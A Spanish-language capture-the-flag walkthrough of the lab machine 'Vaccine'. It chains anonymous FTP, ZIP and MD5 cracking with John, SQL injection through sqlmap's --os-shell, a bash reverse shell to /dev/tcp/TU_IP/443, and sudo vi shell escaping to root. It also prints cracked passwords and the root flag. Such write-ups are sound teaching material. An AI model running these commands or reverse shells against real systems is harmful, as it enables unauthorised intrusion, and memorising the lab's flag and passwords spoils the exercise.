Vaccine
Vaccine pone a prueba habilidades de enumeración y password cracking. El acceso anónimo a FTP expone un archivo ZIP protegido con contraseña que puede crackearse con John The Ripper. Dentro del ZIP hay código fuente PHP con el hash MD5 de las credenciales del admin. Luego se explota una SQL Injection en la aplicación web para obtener RCE como postgres. La escalada se logra abusando del permiso sudo sobre el editor vi (shell escaping).
Reconocimiento
El servidor expone tres servicios: FTP (21), SSH (22) y HTTP (80). Lo primero a probar es siempre el FTP con usuario anónimo.
FTP Anónimo — Backup ZIP
ftp 10.129.95.174
# User: anonymous
# Password: (enter vacío)
ftp> ls
# -rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip
ftp> get backup.zip
Cracking del ZIP — zip2john + John
zip2john backup.zip > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Resultado:
# 741852963 (backup.zip)
unzip backup.zip
# Password: 741852963
Credenciales MD5 en Código Fuente
El archivo index.php del ZIP contiene lógica de login con el hash MD5 de la contraseña del admin hardcodeado:
if($_POST['username'] === 'admin' &&
md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
echo "2cb42f8734ea607eefed3b70af13bbd3" > passwd-admin.txt
john --format=raw-MD5 passwd-admin.txt --wordlist=rockyou.txt
john --show --format=raw-MD5 passwd-admin.txt
# Resultado: qwerty789
SQL Injection — SQLMap + OS Shell
Accedemos al panel web con admin:qwerty789. La barra de búsqueda en dashboard.php?search= es vulnerable a SQLi. Usamos SQLMap pasando nuestra cookie de sesión para saltarnos el login:
sqlmap -u 'http://target/dashboard.php?search=test' \
--cookie='PHPSESSID=TU_SESSID' \
--os-shell
# os-shell> bash -c "bash -i >& /dev/tcp/TU_IP/443 0>&1"
SQLMap detecta PostgreSQL como backend y usa COPY ... FROM PROGRAM para lograr ejecución de comandos. Obtenemos shell como el usuario postgres.
# Si la reverse shell no llega, es posible que firewalld bloquee el tráfico VPN
sudo firewall-cmd --zone=trusted --add-interface=tun0
# Esto permite tráfico entrante solo en la interfaz VPN (temporal, se pierde al reiniciar)
Escalada de Privilegios — sudo + vi (Shell Escaping)
Dentro del sistema encontramos credenciales de PostgreSQL en el código fuente de la app: P@s5w0rd!. Con esa contraseña revisamos los permisos sudo:
echo "P@s5w0rd!" | sudo -S -l
# User postgres may run the following commands on vaccine:
# (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf
El administrador cometió el error de permitir vi con sudo. Vi puede ejecutar comandos del sistema operativo desde su modo de comandos — esto se conoce como Shell Escaping:
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
# Dentro de vi, escribir:
:!/bin/sh
# Resultado: shell como root
# root@vaccine:~# cat root.txt
# dd6e058e814260bc70e9bbdef2715849
Lecciones Aprendidas
- El acceso FTP anónimo nunca debe exponer archivos con información sensible.
- Los hashes MD5 hardcodeados en código son fácilmente crackeables con diccionarios como rockyou.txt.
- Las aplicaciones deben usar prepared statements para prevenir SQL Injection.
- Al configurar sudo, nunca permitir editores de texto (vi, nano, etc.) — son trivialmente abusables para shell escaping. Consultar GTFOBins.